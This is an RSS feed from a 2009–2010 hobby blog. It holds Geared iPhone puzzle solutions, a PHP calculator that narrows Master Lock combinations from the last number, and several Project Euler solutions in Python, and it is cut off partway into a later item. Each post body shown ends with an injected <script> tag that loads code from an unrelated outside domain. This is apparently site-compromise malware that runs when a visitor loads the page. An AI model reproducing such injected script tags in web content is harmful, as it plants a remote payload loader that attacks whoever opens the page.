<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dreamshire</title>
	<atom:link href="http://blog.dreamshire.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.dreamshire.com</link>
	<description>Showing what's behind the curtain</description>
	<lastBuildDate>Wed, 17 Mar 2010 23:54:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Geared Lite 1.3 (Free Version) Solutions posted</title>
		<link>http://blog.dreamshire.com/2010/02/13/geared-lite-1-3-free-version-solutions-posted/</link>
		<comments>http://blog.dreamshire.com/2010/02/13/geared-lite-1-3-free-version-solutions-posted/#comments</comments>
		<pubDate>Sat, 13 Feb 2010 22:30:22 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Asides]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1772</guid>
		<description><![CDATA[Here are the solutions to the "Geared Lite 1.3 " game for the iPhone/iTouch.]]></description>
			<content:encoded><![CDATA[<p>Here are the solutions to the &#8220;Geared Lite 1.3 &#8221; game for the iPhone/iTouch.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2010/02/13/geared-lite-1-3-free-version-solutions-posted/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geared Game Solutions for iPhone / iPod Touch</title>
		<link>http://blog.dreamshire.com/2009/08/31/geared-game-solutions-for-iphone-ipod-touch/</link>
		<comments>http://blog.dreamshire.com/2009/08/31/geared-game-solutions-for-iphone-ipod-touch/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 10:17:38 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Featured]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1722</guid>
		<description><![CDATA[Because of some frustration and claims of unsolvable levels we took screen shots of solutions for every level.  We understand that sometimes it nice just to know what to expect from some of these tricky levels.]]></description>
			<content:encoded><![CDATA[<p>Geared is an iPhone/iPod Touch game/puzzle app that will provide hours of entertainment.  The objective is to use various sized gears to turn fixed blue gears from a fixed yellow powered gear.  On some levels you can’t just place a gear but must instead drop the gear from a free zone into a no-drop zone.  Other times you must carefully and patiently place the gear into position.  A hint is to slowly move the gear around until it turns green whereas it can then be placed.</p>
<p>Because of some frustration and claims of unsolvable levels we took screen shots of solutions for every level.  We understand that sometimes it nice just to know what to expect from some of these tricky levels.</p>
<p>Next week we will publish our interview with Bryan Mitchell, the developer of Geared, and share with you some other games and diversions he is currently working on.</p>
<p><a href="http://blog.dreamshire.com/geared/geared_free.html">Levels 1-16 Geared Lite v1.3 (FREE Version) Screen Shots and explanations.</a></p>
<p><a href="http://blog.dreamshire.com/geared/geared_easy.html">Levels 1-20 (Easy) Screen Shots</a></p>
<p><a href="http://blog.dreamshire.com/geared/geared_medium.html">Levels 21-60 (Medium) Screen Shots</a></p>
<p><a href="http://blog.dreamshire.com/geared/geared_hard.html">Levels 61-80 (Hard) Screen Shots</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/08/31/geared-game-solutions-for-iphone-ipod-touch/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Source Code for Master Lock Combination Calculator</title>
		<link>http://blog.dreamshire.com/2009/08/29/source-code-for-master-lock-combination-calculator/</link>
		<comments>http://blog.dreamshire.com/2009/08/29/source-code-for-master-lock-combination-calculator/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 09:43:13 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1716</guid>
		<description><![CDATA[Source code in PHP for calculating combination possibilities given the last number in a combination for Master combination locks.]]></description>
			<content:encoded><![CDATA[<p>Code to calculate possible combinations for a Master combination lock given the last number in the combination.  This source is in PHP.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;table summary=&quot;Possible Master Lock Combinations&quot;&gt;
&lt;caption&gt;Possible Combinations&lt;/caption&gt;
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>  
<span style="color: #000088;">$default_c3</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$c3</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;last_comb&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>? <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;last_comb&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$default_c3</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$c3</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$c3</span><span style="color: #339933;">&gt;</span><span style="color: #cc66cc;">39</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$c3</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$default_c3</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$c2</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c3</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">4</span><span style="color: #339933;">;</span> <span style="color: #000088;">$c2</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">40</span><span style="color: #339933;">;</span> <span style="color: #000088;">$c2</span><span style="color: #339933;">+=</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;&lt;tr&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$c1</span><span style="color: #339933;">=</span><span style="color: #000088;">$c3</span><span style="color: #339933;">%</span><span style="color:#800080;">4</span><span style="color: #339933;">;</span> <span style="color: #000088;">$c1</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">40</span><span style="color: #339933;">;</span> <span style="color: #000088;">$c1</span><span style="color: #339933;">+=</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$c1</span><span style="color: #339933;">-</span><span style="color: #000088;">$c2</span><span style="color: #339933;">==</span><span style="color: #cc66cc;">2</span> or <span style="color: #000088;">$c1</span><span style="color: #339933;">-</span><span style="color: #000088;">$c2</span><span style="color: #339933;">==</span><span style="color: #cc66cc;">6</span> or <span style="color: #000088;">$c2</span><span style="color: #339933;">-</span><span style="color: #000088;">$c1</span><span style="color: #339933;">==</span><span style="color: #cc66cc;">38</span> or <span style="color: #000088;">$c2</span><span style="color: #339933;">-</span><span style="color: #000088;">$c1</span><span style="color: #339933;">==</span><span style="color: #cc66cc;">34</span> or <span style="color: #990000;">abs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c3</span><span style="color: #339933;">-</span><span style="color: #000088;">$c2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">==</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span>
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">else</span>
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;td&gt;<span style="color: #006699; font-weight: bold;">$c1</span> - <span style="color: #006699; font-weight: bold;">$c2</span> - <span style="color: #006699; font-weight: bold;">$c3</span>&lt;/td&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;&lt;/tr&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/table&gt;</pre></div></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/08/29/source-code-for-master-lock-combination-calculator/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 125 Solution</title>
		<link>http://blog.dreamshire.com/2009/07/04/project-euler-problem-125-solution-2/</link>
		<comments>http://blog.dreamshire.com/2009/07/04/project-euler-problem-125-solution-2/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 19:06:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Palindromes]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1693</guid>
		<description><![CDATA[Finding square sums that are palindromic.]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>The palindromic number 595 is interesting because it can be written as the sum of consecutive squares: 6<sup>2</sup> + 7<sup>2</sup> + 8<sup>2</sup> + 9<sup>2</sup> + 10<sup>2</sup> + 11<sup>2</sup> + 12<sup>2</sup>.</p>
<p>There are exactly eleven palindromes below one-thousand that can be written as consecutive square sums, and the sum of these palindromes is 4164. Note that 1 = 0<sup>2</sup> + 1<sup>2</sup> has not been included as this problem is concerned with the squares of positive integers.</p>
<p>Find the sum of all the numbers less than 10<sup>8</sup> that are both palindromic and can be written as the sum of consecutive squares.</p>
<h4><u>Analysis</u></h4>
<p>To solve this problem requires a simple search to the square root of the limit (10<sup>8</sup>) or 5,000.  We use a set to eliminate duplicate sum-of-squares.</p>
<h4><u>Solution</u></h4>
<p>Runs < 1 second in Python.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> Euler <span style="color: #ff7700;font-weight:bold;">import</span> is_palindromic
&nbsp;
limit = <span style="color: #ff4500;">10</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">8</span>
sqrt_limit = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>limit<span style="color: #66cc66;">**</span>.5<span style="color: black;">&#41;</span>
pal = <span style="color: #008000;">set</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>, sqrt_limit<span style="color: black;">&#41;</span>:
  sos = i<span style="color: #66cc66;">*</span>i
  <span style="color: #ff7700;font-weight:bold;">for</span> j <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>i+<span style="color: #ff4500;">1</span>, sqrt_limit<span style="color: black;">&#41;</span>:
    sos += j<span style="color: #66cc66;">*</span>j
    <span style="color: #ff7700;font-weight:bold;">if</span> sos<span style="color: #66cc66;">&gt;</span>=limit: <span style="color: #ff7700;font-weight:bold;">break</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> is_palindromic<span style="color: black;">&#40;</span>sos<span style="color: black;">&#41;</span>: pal.<span style="color: black;">add</span><span style="color: black;">&#40;</span>sos<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Answer to PE125 = &quot;</span>, <span style="color: #008000;">sum</span><span style="color: black;">&#40;</span>pal<span style="color: black;">&#41;</span>, <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>pal<span style="color: black;">&#41;</span></pre></div></div>

<h4><u>Comments</u></h4>
<ul>
<li>More information on the <em>Euler</em> module can be found on the <a href="http://blog.dreamshire.com/2009/03/26/94/">tools page</a>.</li>
<li>Takes 371,234 iterations.</li>
<li>The second number printed is the size of the set.</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/07/04/project-euler-problem-125-solution-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 133 Solution</title>
		<link>http://blog.dreamshire.com/2009/06/16/project-euler-problem-133-solution/</link>
		<comments>http://blog.dreamshire.com/2009/06/16/project-euler-problem-133-solution/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 07:49:39 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Large Integers]]></category>
		<category><![CDATA[Prime Numbers]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Repunits]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1654</guid>
		<description><![CDATA[Investigating which primes will never divide a repunit containing 10**n digits.]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>A number consisting entirely of ones is called a repunit. We shall define R(<i>k</i>) to be a repunit of length <i>k</i>; for example, R(6) = 111111.</p>
<p>Let us consider repunits of the form R(10<sup><i>n</i></sup>).</p>
<p>Although R(10), R(100), or R(1000) are not divisible by 17, R(10000) is divisible by 17. Yet there is no value of <i>n</i> for which R(10<sup><i>n</i></sup>) will divide by 19. In fact, it is remarkable that 11, 17, 41, and 73 are only four primes below one-hundred that can ever be a factor of R(10<sup><i>n</i></sup>).</p>
<p>Find the sum of all the primes below one-hundred thousand that will never be a factor of R(10<sup><i>n</i></sup>).</p>
<h4><u>Analysis</u></h4>
<p>This is a modified solution from problem 132.  Really all we&#8217;re doing is finding the prime factors of a very large R(n) using the Python modulus power function.  We sum only those primes which are not factors.</p>
<h4><u>Solution</u></h4>
<p>Runs < 3 seconds in Python.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> Euler <span style="color: #ff7700;font-weight:bold;">import</span> is_prime
&nbsp;
limit, q, s = <span style="color: #ff4500;">100000</span>, <span style="color: #008000;">pow</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">10</span>, <span style="color: #ff4500;">50</span><span style="color: black;">&#41;</span>, <span style="color: #ff4500;">5</span>
<span style="color: #ff7700;font-weight:bold;">for</span> p <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">5</span>, limit, <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">if</span> is_prime<span style="color: black;">&#40;</span>p<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: #008000;">pow</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">10</span>, q, p<span style="color: black;">&#41;</span> <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">1</span>: s += p
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Answer to PE133 = &quot;</span>, s</pre></div></div>

<h4><u>Comments</u></h4>
<p>More information on the <em>Euler</em> module can be found on the <a href="http://blog.dreamshire.com/2009/03/26/94/">tools page</a>.<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/06/16/project-euler-problem-133-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 132 Solution</title>
		<link>http://blog.dreamshire.com/2009/06/15/project-euler-problem-132-solution/</link>
		<comments>http://blog.dreamshire.com/2009/06/15/project-euler-problem-132-solution/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 03:22:07 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Prime Numbers]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Repunits]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1652</guid>
		<description><![CDATA[Determining the first forty prime factors of a very large repunit.]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>A number consisting entirely of ones is called a repunit. We shall define R(<i>k</i>) to be a repunit of length <i>k</i>.</p>
<p>For example, R(10) = 1111111111 = 11&times;41&times;271&times;9091, and the sum of these prime factors is 9414.</p>
<p>Find the sum of the first forty prime factors of R(10<sup>9</sup>).</p>
<h4><u>Analysis</u></h4>
<p>Another quick solution using the modulus power function to find the prime factors of a large repunit, r(10<sup>9</sup>).</p>
<h4><u>Solution</u></h4>
<p>Runs < 2 seconds in Python.  Made some simple clarifications 3/17/10.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> Euler <span style="color: #ff7700;font-weight:bold;">import</span> is_prime
&nbsp;
s = <span style="color: #008000;">set</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
n, q = <span style="color: #ff4500;">7</span>, <span style="color: #ff4500;">10</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">9</span>
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&lt;</span> <span style="color: #ff4500;">40</span>:
  <span style="color: #ff7700;font-weight:bold;">if</span> is_prime<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: #008000;">pow</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">10</span>, q, n<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">1</span>: s.<span style="color: black;">add</span><span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>
  n += <span style="color: #ff4500;">2</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Answer to PE132 = &quot;</span>, <span style="color: #008000;">sum</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span></pre></div></div>

<h4><u>Comments</u></h4>
<p>More information on the <em>Euler</em> module can be found on the <a href="http://blog.dreamshire.com/2009/03/26/94/">tools page</a>.</p>
<p>Here&#8217;s the first 40 prime factors: [11, 17, 41, 73, 101, 137, 251, 257, 271, 353, 401, 449, 641, 751, 1201, 1409, 1601, 3541, 4001, 4801, 5051, 9091, 10753, 15361, 16001, 19841, 21001, 21401, 24001, 25601, 27961, 37501, 40961, 43201, 60101, 62501, 69857, 76001, 76801, 160001]<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/06/15/project-euler-problem-132-solution/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 130 Solution</title>
		<link>http://blog.dreamshire.com/2009/06/15/project-euler-problem-130-solution/</link>
		<comments>http://blog.dreamshire.com/2009/06/15/project-euler-problem-130-solution/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 03:20:40 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Prime Numbers]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Repunits]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1650</guid>
		<description><![CDATA[Finding composite values, n, for which n−1 is divisible by the length of the smallest repunits that divide it.]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>A number consisting entirely of ones is called a repunit. We shall define R(<i>k</i>) to be a repunit of length <i>k</i>; for example, R(6) = 111111.</p>
<p>Given that <i>n</i> is a positive integer and GCD(<i>n</i>, 10) = 1, it can be shown that there always exists a value, <i>k</i>, for which R(<i>k</i>) is divisible by <i>n</i>, and let A(<i>n</i>) be the least such value of <i>k</i>; for example, A(7) = 6 and A(41) = 5.</p>
<p>You are given that for all primes, <i>p</i> &gt; 5, that <i>p</i> minus 1 is divisible by A(<i>p</i>). For example, when <i>p</i> = 41, A(41) = 5, and 40 is divisible by 5.</p>
<p>However, there are rare composite values for which this is also true; the first five examples being 91, 259, 451, 481, and 703.</p>
<p>Find the sum of the first twenty-five composite values of <i>n</i> for which<br />GCD(<i>n</i>, 10) = 1 and <i>n</i> &minus; 1 is divisible by A(<i>n</i>).</p>
<h4><u>Analysis</u></h4>
<p>We started with the given information and added to it by simply checking which composite values of n-1 were divisible by A(n).  The problems 129, 130, 132 and 133 were all solved with recreation in mind so not a lot of thought transpired.  Compared to some solutions these do appear to be slower but simpler to understand.  </p>
<h4><u>Solution</u></h4>
<p>Runs < 3 seconds in Python.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> Euler <span style="color: #ff7700;font-weight:bold;">import</span> is_prime, gcd
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> A<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">if</span> is_prime<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">or</span> gcd<span style="color: black;">&#40;</span>n, <span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">1</span>: <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">None</span>
  x, k = <span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">1</span>
  <span style="color: #ff7700;font-weight:bold;">while</span> x <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">0</span>:
    x = <span style="color: black;">&#40;</span>x<span style="color: #66cc66;">*</span><span style="color: #ff4500;">10</span>+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> n
    k += <span style="color: #ff4500;">1</span>
  <span style="color: #ff7700;font-weight:bold;">return</span> k
&nbsp;
s = <span style="color: black;">&#91;</span><span style="color: #ff4500;">91</span>, <span style="color: #ff4500;">259</span>, <span style="color: #ff4500;">451</span>, <span style="color: #ff4500;">481</span>, <span style="color: #ff4500;">703</span><span style="color: black;">&#93;</span>
n = s<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span><span style="color: #66cc66;">&lt;</span> <span style="color: #ff4500;">25</span>:
  n += <span style="color: #ff4500;">2</span>
  an = A<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>
  <span style="color: #ff7700;font-weight:bold;">if</span> an <span style="color: #66cc66;">!</span>= <span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: black;">&#40;</span>n-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> an == <span style="color: #ff4500;">0</span>: 
    s.<span style="color: black;">append</span><span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Answer to PE130 = &quot;</span>, <span style="color: #008000;">sum</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span></pre></div></div>

<h4><u>Comments</u></h4>
<p>More information on the <em>Euler</em> module can be found on the <a href="http://blog.dreamshire.com/2009/03/26/94/">tools page</a>.<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/06/15/project-euler-problem-130-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 129 Solution</title>
		<link>http://blog.dreamshire.com/2009/06/15/project-euler-problem-129-solution/</link>
		<comments>http://blog.dreamshire.com/2009/06/15/project-euler-problem-129-solution/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 03:18:57 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Prime Numbers]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Repunits]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1648</guid>
		<description><![CDATA[Investigating minimal repunits that divide by n.]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>A number consisting entirely of ones is called a repunit. We shall define R(<i>k</i>) to be a repunit of length <i>k</i>; for example, R(6) = 111111.</p>
<p>Given that <i>n</i> is a positive integer and GCD(<i>n</i>, 10) = 1, it can be shown that there always exists a value, <i>k</i>, for which R(<i>k</i>) is divisible by <i>n</i>, and let A(<i>n</i>) be the least such value of <i>k</i>; for example, A(7) = 6 and A(41) = 5.</p>
<p>The least value of <i>n</i> for which A(<i>n</i>) first exceeds ten is 17.</p>
<p>Find the least value of <i>n</i> for which A(<i>n</i>) first exceeds one-million.</p>
<h4><u>Analysis</u></h4>
<p>This was an obvious solution to the problem.  Still not sure about the relevance of repunits so we just took the recreational approach and created a set of solutions that are easy to follow.</p>
<h4><u>Solution</u></h4>
<p>Runs < 2 seconds in Python.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> Euler <span style="color: #ff7700;font-weight:bold;">import</span> is_prime, gcd
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> A<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">if</span> is_prime<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">or</span> gcd<span style="color: black;">&#40;</span>n, <span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">1</span>: <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">None</span>
  x, k = <span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">1</span>
  <span style="color: #ff7700;font-weight:bold;">while</span> x <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">0</span>:
    x = <span style="color: black;">&#40;</span>x<span style="color: #66cc66;">*</span><span style="color: #ff4500;">10</span>+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">%</span> n
    k += <span style="color: #ff4500;">1</span>
  <span style="color: #ff7700;font-weight:bold;">return</span> k
&nbsp;
limit = <span style="color: #ff4500;">1000001</span>
n = limit
<span style="color: #ff7700;font-weight:bold;">while</span> A<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span><span style="color: #66cc66;">&lt;</span>limit: n += <span style="color: #ff4500;">2</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Answer to PE129 = &quot;</span>, n</pre></div></div>

<h4><u>Comments</u></h4>
<p>More information on the <em>Euler</em> module can be found on the <a href="http://blog.dreamshire.com/2009/03/26/94/">tools page</a>.<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/06/15/project-euler-problem-129-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 113 Solution</title>
		<link>http://blog.dreamshire.com/2009/06/12/project-euler-problem-113-solution/</link>
		<comments>http://blog.dreamshire.com/2009/06/12/project-euler-problem-113-solution/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 21:06:37 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Bouncy Numbers]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1638</guid>
